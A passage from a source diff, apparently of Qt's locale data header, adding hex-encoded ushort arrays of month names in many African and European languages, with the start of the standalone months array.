0x65, 0x73, 0x3b, 0x7a, 0x61, 0x6e, 0x76, 0x69, 0x65, 0x3b, 0x66, 0x65, 0x76, 0x72, 0x69, 0x79, 0x65, +0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x76, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x65, 0x3b, 0x7a, 0x69, 0x6e, 0x3b, 0x7a, +0x69, 0x6c, 0x79, 0x65, 0x3b, 0x6f, 0x75, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x61, 0x6d, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, +0x62, 0x3b, 0x6e, 0x6f, 0x76, 0x61, 0x6d, 0x3b, 0x64, 0x65, 0x73, 0x61, 0x6d, 0x3b, 0x7a, 0x3b, 0x66, 0x3b, 0x6d, 0x3b, +0x61, 0x3b, 0x6d, 0x3b, 0x7a, 0x3b, 0x7a, 0x3b, 0x6f, 0x3b, 0x73, 0x3b, 0x6f, 0x3b, 0x6e, 0x3b, 0x64, 0x3b, 0x4d, 0x77, +0x65, 0x64, 0x69, 0x20, 0x4e, 0x74, 0x61, 0x6e, 0x64, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, +0x50, 0x69, 0x6c, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x54, 0x61, 0x74, 0x75, 0x3b, 0x4d, +0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x63, 0x68, 0x65, 0x63, 0x68, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, +0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, +0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x55, 0x6d, 0x6f, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, +0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4d, 0x69, 0x76, 0x69, 0x6c, 0x69, +0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, +0x4d, 0x69, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, +0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, 0x63, 0x68, 0x65, 0x63, 0x68, 0x69, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, +0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x3b, +0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, +0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x55, 0x3b, 0x4d, 0x77, 0x65, 0x64, 0x69, 0x20, 0x77, 0x61, 0x20, +0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x4e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, +0x4d, 0x3b, 0x46, 0xfa, 0x6e, 0x67, 0x61, 0x74, 0x268, 0x3b, 0x4e, 0x61, 0x61, 0x6e, 0x268, 0x3b, 0x4b, 0x65, 0x65, 0x6e, +0x64, 0x61, 0x3b, 0x49, 0x6b, 0xfa, 0x6d, 0x69, 0x3b, 0x49, 0x6e, 0x79, 0x61, 0x6d, 0x62, 0x61, 0x6c, 0x61, 0x3b, 0x49, +0x64, 0x77, 0x61, 0x61, 0x74, 0x61, 0x3b, 0x4d, 0x289, 0x289, 0x6e, 0x63, 0x68, 0x268, 0x3b, 0x56, 0x268, 0x268, 0x72, 0x268, +0x3b, 0x53, 0x61, 0x61, 0x74, 0x289, 0x3b, 0x49, 0x6e, 0x79, 0x69, 0x3b, 0x53, 0x61, 0x61, 0x6e, 0x6f, 0x3b, 0x53, 0x61, +0x73, 0x61, 0x74, 0x289, 0x3b, 0x4b, 0x289, 0x66, 0xfa, 0x6e, 0x67, 0x61, 0x74, 0x268, 0x3b, 0x4b, 0x289, 0x6e, 0x61, 0x61, +0x6e, 0x268, 0x3b, 0x4b, 0x289, 0x6b, 0x65, 0x65, 0x6e, 0x64, 0x61, 0x3b, 0x4b, 0x77, 0x69, 0x69, 0x6b, 0x75, 0x6d, 0x69, +0x3b, 0x4b, 0x77, 0x69, 0x69, 0x6e, 0x79, 0x61, 0x6d, 0x62, 0xe1, 0x6c, 0x61, 0x3b, 0x4b, 0x77, 0x69, 0x69, 0x64, 0x77, +0x61, 0x61, 0x74, 0x61, 0x3b, 0x4b, 0x289, 0x6d, 0x289, 0x289, 0x6e, 0x63, 0x68, 0x268, 0x3b, 0x4b, 0x289, 0x76, 0x268, 0x268, +0x72, 0x268, 0x3b, 0x4b, 0x289, 0x73, 0x61, 0x61, 0x74, 0x289, 0x3b, 0x4b, 0x77, 0x69, 0x69, 0x6e, 0x79, 0x69, 0x3b, 0x4b, +0x289, 0x73, 0x61, 0x61, 0x6e, 0x6f, 0x3b, 0x4b, 0x289, 0x73, 0x61, 0x73, 0x61, 0x74, 0x289, 0x3b, 0x46, 0x3b, 0x4e, 0x3b, +0x4b, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x4d, 0x3b, 0x56, 0x3b, 0x53, 0x3b, 0x49, 0x3b, 0x53, 0x3b, 0x53, 0x3b, +0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, 0x75, 0x3b, 0x4d, 0x61, 0x61, 0x3b, +0x4a, 0x75, 0x75, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x75, 0x3b, 0x53, 0x65, 0x62, 0x3b, 0x4f, 0x6b, 0x69, 0x3b, +0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x77, 0x61, 0x6c, 0x69, 0x79, 0x6f, 0x3b, 0x46, 0x65, +0x62, 0x77, 0x61, 0x6c, 0x69, 0x79, 0x6f, 0x3b, 0x4d, 0x61, 0x72, 0x69, 0x73, 0x69, 0x3b, 0x41, 0x70, 0x75, 0x6c, 0x69, +0x3b, 0x4d, 0x61, 0x61, 0x79, 0x69, 0x3b, 0x4a, 0x75, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x61, 0x79, 0x69, +0x3b, 0x41, 0x67, 0x75, 0x73, 0x69, 0x74, 0x6f, 0x3b, 0x53, 0x65, 0x62, 0x75, 0x74, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, +0x4f, 0x6b, 0x69, 0x74, 0x6f, 0x62, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, +0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x63, 0x3b, 0x45, 0x70, 0x72, +0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x4f, 0x67, 0x61, 0x3b, 0x53, 0x65, 0x70, +0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, +0x3b, 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x45, 0x70, 0x72, 0x65, +0x6f, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x69, 0x3b, 0x4f, 0x67, 0x61, +0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, +0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, +0x4d, 0x3b, 0x45, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x4f, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, +0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x76, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x62, 0x72, 0x3b, 0x4d, 0x61, 0x69, 0x3b, +0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x3b, 0x4f, 0x74, 0x75, 0x3b, +0x4e, 0x75, 0x76, 0x3b, 0x44, 0x69, 0x7a, 0x3b, 0x4a, 0x61, 0x6e, 0x65, 0x72, 0x75, 0x3b, 0x46, 0x65, 0x76, 0x65, 0x72, +0x65, 0x72, 0x75, 0x3b, 0x4d, 0x61, 0x72, 0x73, 0x75, 0x3b, 0x41, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x4d, 0x61, 0x69, 0x75, +0x3b, 0x4a, 0x75, 0x6e, 0x68, 0x75, 0x3b, 0x4a, 0x75, 0x6c, 0x68, 0x75, 0x3b, 0x41, 0x67, 0x6f, 0x73, 0x74, 0x75, 0x3b, +0x53, 0x65, 0x74, 0x65, 0x6e, 0x62, 0x72, 0x75, 0x3b, 0x4f, 0x74, 0x75, 0x62, 0x72, 0x75, 0x3b, 0x4e, 0x75, 0x76, 0x65, +0x6e, 0x62, 0x72, 0x75, 0x3b, 0x44, 0x69, 0x7a, 0x65, 0x6e, 0x62, 0x72, 0x75, 0x3b, 0x4a, 0x41, 0x4e, 0x3b, 0x46, 0x45, +0x42, 0x3b, 0x4d, 0x41, 0x43, 0x3b, 0x128, 0x50, 0x55, 0x3b, 0x4d, 0x128, 0x128, 0x3b, 0x4e, 0x4a, 0x55, 0x3b, 0x4e, 0x4a, +0x52, 0x3b, 0x41, 0x47, 0x41, 0x3b, 0x53, 0x50, 0x54, 0x3b, 0x4f, 0x4b, 0x54, 0x3b, 0x4e, 0x4f, 0x56, 0x3b, 0x44, 0x45, +0x43, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x129, 0x3b, 0x46, 0x65, 0x62, 0x75, 0x72, 0x75, 0x61, 0x72, 0x129, 0x3b, +0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x128, 0x70, 0x75, 0x72, 0x169, 0x3b, 0x4d, 0x129, 0x129, 0x3b, 0x4e, 0x6a, 0x75, 0x6e, +0x69, 0x3b, 0x4e, 0x6a, 0x75, 0x72, 0x61, 0x129, 0x3b, 0x41, 0x67, 0x61, 0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, +0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, 0x169, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, +0x44, 0x69, 0x63, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x128, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, +0x4e, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4d, 0x75, 0x6c, 0x3b, 0x4e, 0x67, 0x61, 0x3b, +0x4b, 0x69, 0x70, 0x3b, 0x49, 0x77, 0x61, 0x3b, 0x4e, 0x67, 0x65, 0x3b, 0x57, 0x61, 0x6b, 0x3b, 0x52, 0x6f, 0x70, 0x3b, +0x4b, 0x6f, 0x67, 0x3b, 0x42, 0x75, 0x72, 0x3b, 0x45, 0x70, 0x65, 0x3b, 0x54, 0x61, 0x69, 0x3b, 0x41, 0x65, 0x6e, 0x3b, +0x4d, 0x75, 0x6c, 0x67, 0x75, 0x6c, 0x3b, 0x4e, 0x67, 0x27, 0x61, 0x74, 0x79, 0x61, 0x74, 0x6f, 0x3b, 0x4b, 0x69, 0x70, +0x74, 0x61, 0x6d, 0x6f, 0x3b, 0x49, 0x77, 0x61, 0x74, 0x20, 0x6b, 0x75, 0x74, 0x3b, 0x4e, 0x67, 0x27, 0x65, 0x69, 0x79, +0x65, 0x74, 0x3b, 0x57, 0x61, 0x6b, 0x69, 0x3b, 0x52, 0x6f, 0x70, 0x74, 0x75, 0x69, 0x3b, 0x4b, 0x69, 0x70, 0x6b, 0x6f, +0x67, 0x61, 0x67, 0x61, 0x3b, 0x42, 0x75, 0x72, 0x65, 0x74, 0x3b, 0x45, 0x70, 0x65, 0x73, 0x6f, 0x3b, 0x4b, 0x69, 0x70, +0x73, 0x75, 0x6e, 0x64, 0x65, 0x20, 0x6e, 0x65, 0x74, 0x61, 0x69, 0x3b, 0x4b, 0x69, 0x70, 0x73, 0x75, 0x6e, 0x64, 0x65, +0x20, 0x6e, 0x65, 0x62, 0x6f, 0x20, 0x61, 0x65, 0x6e, 0x67, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x4b, 0x3b, 0x49, 0x3b, 0x4e, +0x3b, 0x57, 0x3b, 0x52, 0x3b, 0x4b, 0x3b, 0x42, 0x3b, 0x45, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x1c3, 0x4b, 0x68, 0x61, 0x6e, +0x6e, 0x69, 0x3b, 0x1c3, 0x4b, 0x68, 0x61, 0x6e, 0x1c0, 0x67, 0xf4, 0x61, 0x62, 0x3b, 0x1c0, 0x4b, 0x68, 0x75, 0x75, 0x1c1, +0x6b, 0x68, 0xe2, 0x62, 0x3b, 0x1c3, 0x48, 0xf4, 0x61, 0x1c2, 0x6b, 0x68, 0x61, 0x69, 0x62, 0x3b, 0x1c3, 0x4b, 0x68, 0x61, +0x69, 0x74, 0x73, 0xe2, 0x62, 0x3b, 0x47, 0x61, 0x6d, 0x61, 0x1c0, 0x61, 0x65, 0x62, 0x3b, 0x1c2, 0x4b, 0x68, 0x6f, 0x65, +0x73, 0x61, 0x6f, 0x62, 0x3b, 0x41, 0x6f, 0x1c1, 0x6b, 0x68, 0x75, 0x75, 0x6d, 0xfb, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, 0x3b, +0x54, 0x61, 0x72, 0x61, 0x1c0, 0x6b, 0x68, 0x75, 0x75, 0x6d, 0xfb, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, 0x3b, 0x1c2, 0x4e, 0xfb, +0x1c1, 0x6e, 0xe2, 0x69, 0x73, 0x65, 0x62, 0x3b, 0x1c0, 0x48, 0x6f, 0x6f, 0x1c2, 0x67, 0x61, 0x65, 0x62, 0x3b, 0x48, 0xf4, +0x61, 0x73, 0x6f, 0x72, 0x65, 0x1c1, 0x6b, 0x68, 0xe2, 0x62, 0x3b, 0x4a, 0x61, 0x6e, 0x2e, 0x3b, 0x46, 0xe4, 0x62, 0x2e, +0x3b, 0x4d, 0x61, 0x72, 0x2e, 0x3b, 0x41, 0x70, 0x72, 0x2e, 0x3b, 0x4d, 0xe4, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x2e, 0x3b, +0x4a, 0x75, 0x6c, 0x2e, 0x3b, 0x4f, 0x75, 0x67, 0x2e, 0x3b, 0x53, 0xe4, 0x70, 0x2e, 0x3b, 0x4f, 0x6b, 0x74, 0x2e, 0x3b, +0x4e, 0x6f, 0x76, 0x2e, 0x3b, 0x44, 0x65, 0x7a, 0x2e, 0x3b, 0x4a, 0x61, 0x6e, 0x6e, 0x65, 0x77, 0x61, 0x3b, 0x46, 0xe4, +0x62, 0x72, 0x6f, 0x77, 0x61, 0x3b, 0x4d, 0xe4, 0xe4, 0x7a, 0x3b, 0x41, 0x70, 0x72, 0x65, 0x6c, 0x6c, 0x3b, 0x4d, 0xe4, +0x69, 0x3b, 0x4a, 0x75, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x75, 0x6c, 0x69, 0x3b, 0x4f, 0x75, 0x6a, 0x6f, 0xdf, 0x3b, +0x53, 0x65, 0x70, 0x74, 0xe4, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x4e, +0x6f, 0x76, 0xe4, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x44, 0x65, 0x7a, 0xe4, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x44, 0x61, 0x6c, +0x3b, 0x41, 0x72, 0xe1, 0x3b, 0x186, 0x25b, 0x6e, 0x3b, 0x44, 0x6f, 0x79, 0x3b, 0x4c, 0xe9, 0x70, 0x3b, 0x52, 0x6f, 0x6b, +0x3b, 0x53, 0xe1, 0x73, 0x3b, 0x42, 0x254, 0x301, 0x72, 0x3b, 0x4b, 0xfa, 0x73, 0x3b, 0x47, 0xed, 0x73, 0x3b, 0x53, 0x68, +0x289, 0x301, 0x3b, 0x4e, 0x74, 0x289, 0x301, 0x3b, 0x4f, 0x6c, 0x61, 0x64, 0x61, 0x6c, 0x289, 0x301, 0x3b, 0x41, 0x72, 0xe1, +0x74, 0x3b, 0x186, 0x25b, 0x6e, 0x268, 0x301, 0x254, 0x268, 0x14b, 0x254, 0x6b, 0x3b, 0x4f, 0x6c, 0x6f, 0x64, 0x6f, 0x79, 0xed, +0xf3, 0x72, 0xed, 0xea, 0x20, 0x69, 0x6e, 0x6b, 0xf3, 0x6b, 0xfa, 0xe2, 0x3b, 0x4f, 0x6c, 0x6f, 0x69, 0x6c, 0xe9, 0x70, +0x16b, 0x6e, 0x79, 0x12b, 0x113, 0x20, 0x69, 0x6e, 0x6b, 0xf3, 0x6b, 0xfa, 0xe2, 0x3b, 0x4b, 0xfa, 0x6a, 0xfa, 0x254, 0x72, +0x254, 0x6b, 0x3b, 0x4d, 0xf3, 0x72, 0x75, 0x73, 0xe1, 0x73, 0x69, 0x6e, 0x3b, 0x186, 0x6c, 0x254, 0x301, 0x268, 0x301, 0x62, +0x254, 0x301, 0x72, 0xe1, 0x72, 0x25b, 0x3b, 0x4b, 0xfa, 0x73, 0x68, 0xee, 0x6e, 0x3b, 0x4f, 0x6c, 0x67, 0xed, 0x73, 0x61, +0x6e, 0x3b, 0x50, 0x289, 0x73, 0x68, 0x289, 0x301, 0x6b, 0x61, 0x3b, 0x4e, 0x74, 0x289, 0x301, 0x14b, 0x289, 0x301, 0x73, 0x3b, +0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, +0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, 0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, +0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x63, 0x3b, +0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x6f, 0x3b, +0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x63, 0x3b, 0x52, 0x61, 0x72, 0x3b, +0x4d, 0x75, 0x6b, 0x3b, 0x4b, 0x77, 0x61, 0x3b, 0x44, 0x75, 0x6e, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x4d, 0x6f, 0x64, 0x3b, +0x4a, 0x6f, 0x6c, 0x3b, 0x50, 0x65, 0x64, 0x3b, 0x53, 0x6f, 0x6b, 0x3b, 0x54, 0x69, 0x62, 0x3b, 0x4c, 0x61, 0x62, 0x3b, +0x50, 0x6f, 0x6f, 0x3b, 0x4f, 0x72, 0x61, 0x72, 0x61, 0x3b, 0x4f, 0x6d, 0x75, 0x6b, 0x3b, 0x4f, 0x6b, 0x77, 0x61, 0x6d, +0x67, 0x27, 0x3b, 0x4f, 0x64, 0x75, 0x6e, 0x67, 0x27, 0x65, 0x6c, 0x3b, 0x4f, 0x6d, 0x61, 0x72, 0x75, 0x6b, 0x3b, 0x4f, +0x6d, 0x6f, 0x64, 0x6f, 0x6b, 0x27, 0x6b, 0x69, 0x6e, 0x67, 0x27, 0x6f, 0x6c, 0x3b, 0x4f, 0x6a, 0x6f, 0x6c, 0x61, 0x3b, +0x4f, 0x70, 0x65, 0x64, 0x65, 0x6c, 0x3b, 0x4f, 0x73, 0x6f, 0x6b, 0x6f, 0x73, 0x6f, 0x6b, 0x6f, 0x6d, 0x61, 0x3b, 0x4f, +0x74, 0x69, 0x62, 0x61, 0x72, 0x3b, 0x4f, 0x6c, 0x61, 0x62, 0x6f, 0x72, 0x3b, 0x4f, 0x70, 0x6f, 0x6f, 0x3b, 0x52, 0x3b, +0x4d, 0x3b, 0x4b, 0x3b, 0x44, 0x3b, 0x4d, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x50, 0x3b, 0x53, 0x3b, 0x54, 0x3b, 0x4c, 0x3b, +0x50, 0x3b, 0x17d, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x65, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x77, 0x69, 0x3b, 0x4d, 0x65, +0x3b, 0x17d, 0x75, 0x77, 0x3b, 0x17d, 0x75, 0x79, 0x3b, 0x55, 0x74, 0x3b, 0x53, 0x65, 0x6b, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, +0x4e, 0x6f, 0x6f, 0x3b, 0x44, 0x65, 0x65, 0x3b, 0x17d, 0x61, 0x6e, 0x77, 0x69, 0x79, 0x65, 0x3b, 0x46, 0x65, 0x65, 0x77, +0x69, 0x72, 0x69, 0x79, 0x65, 0x3b, 0x4d, 0x61, 0x72, 0x73, 0x69, 0x3b, 0x41, 0x77, 0x69, 0x72, 0x69, 0x6c, 0x3b, 0x4d, +0x65, 0x3b, 0x17d, 0x75, 0x77, 0x65, 0x14b, 0x3b, 0x17d, 0x75, 0x79, 0x79, 0x65, 0x3b, 0x55, 0x74, 0x3b, 0x53, 0x65, 0x6b, +0x74, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x6f, 0x62, 0x75, 0x72, 0x3b, 0x4e, 0x6f, 0x6f, 0x77, +0x61, 0x6e, 0x62, 0x75, 0x72, 0x3b, 0x44, 0x65, 0x65, 0x73, 0x61, 0x6e, 0x62, 0x75, 0x72, 0x3b, 0x17d, 0x3b, 0x46, 0x3b, +0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x17d, 0x3b, 0x17d, 0x3b, 0x55, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, +0x44, 0x41, 0x43, 0x3b, 0x44, 0x41, 0x52, 0x3b, 0x44, 0x41, 0x44, 0x3b, 0x44, 0x41, 0x4e, 0x3b, 0x44, 0x41, 0x48, 0x3b, +0x44, 0x41, 0x55, 0x3b, 0x44, 0x41, 0x4f, 0x3b, 0x44, 0x41, 0x42, 0x3b, 0x44, 0x4f, 0x43, 0x3b, 0x44, 0x41, 0x50, 0x3b, +0x44, 0x47, 0x49, 0x3b, 0x44, 0x41, 0x47, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x63, 0x68, 0x69, +0x65, 0x6c, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x72, 0x69, 0x79, 0x6f, 0x3b, 0x44, 0x77, 0x65, +0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x64, 0x65, 0x6b, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x6e, +0x67, 0x27, 0x77, 0x65, 0x6e, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x62, 0x69, 0x63, 0x68, 0x3b, +0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x75, 0x63, 0x68, 0x69, 0x65, 0x6c, 0x3b, 0x44, 0x77, 0x65, 0x20, +0x6d, 0x61, 0x72, 0x20, 0x41, 0x62, 0x69, 0x72, 0x69, 0x79, 0x6f, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, +0x41, 0x62, 0x6f, 0x72, 0x6f, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x4f, 0x63, 0x68, 0x69, 0x6b, 0x6f, +0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, 0x41, 0x70, 0x61, 0x72, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, +0x72, 0x20, 0x67, 0x69, 0x20, 0x61, 0x63, 0x68, 0x69, 0x65, 0x6c, 0x3b, 0x44, 0x77, 0x65, 0x20, 0x6d, 0x61, 0x72, 0x20, +0x41, 0x70, 0x61, 0x72, 0x20, 0x67, 0x69, 0x20, 0x61, 0x72, 0x69, 0x79, 0x6f, 0x3b, 0x43, 0x3b, 0x52, 0x3b, 0x44, 0x3b, +0x4e, 0x3b, 0x42, 0x3b, 0x55, 0x3b, 0x42, 0x3b, 0x42, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x43, 0x3b, 0x50, 0x3b, 0x59, 0x65, +0x6e, 0x3b, 0x59, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x49, 0x62, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x59, 0x75, +0x6e, 0x3b, 0x59, 0x75, 0x6c, 0x3b, 0x194, 0x75, 0x63, 0x3b, 0x43, 0x75, 0x74, 0x3b, 0x4b, 0x1e6d, 0x75, 0x3b, 0x4e, 0x77, +0x61, 0x3b, 0x44, 0x75, 0x6a, 0x3b, 0x59, 0x65, 0x6e, 0x6e, 0x61, 0x79, 0x65, 0x72, 0x3b, 0x59, 0x65, 0x62, 0x72, 0x61, +0x79, 0x65, 0x72, 0x3b, 0x4d, 0x61, 0x72, 0x73, 0x3b, 0x49, 0x62, 0x72, 0x69, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x79, 0x75, +0x3b, 0x59, 0x75, 0x6e, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6c, 0x79, 0x75, 0x7a, 0x3b, 0x194, 0x75, 0x63, 0x74, 0x3b, 0x43, +0x75, 0x74, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x4b, 0x1e6d, 0x75, 0x62, 0x65, 0x72, 0x3b, 0x4e, 0x77, 0x61, 0x6e, 0x62, +0x69, 0x72, 0x3b, 0x44, 0x75, 0x6a, 0x61, 0x6e, 0x62, 0x69, 0x72, 0x3b, 0x59, 0x3b, 0x59, 0x3b, 0x4d, 0x3b, 0x49, 0x3b, +0x4d, 0x3b, 0x59, 0x3b, 0x59, 0x3b, 0x194, 0x3b, 0x43, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4a, 0x61, 0x6e, 0x75, +0x61, 0x6c, 0x69, 0x3b, 0x46, 0x65, 0x62, 0x6c, 0x75, 0x61, 0x6c, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x3b, 0x41, +0x70, 0x6c, 0x69, 0x6c, 0x69, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x69, +0x3b, 0x41, 0x67, 0x6f, 0x73, 0x74, 0x69, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x4f, 0x6b, 0x74, +0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x61, 0x3b, + }; static const ushort standalone_months_data[] = { @@ -1442,87 +2079,553 @@ static const ushort standalone_months_data[] = { 0x3b, 0x4a, 0x75, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 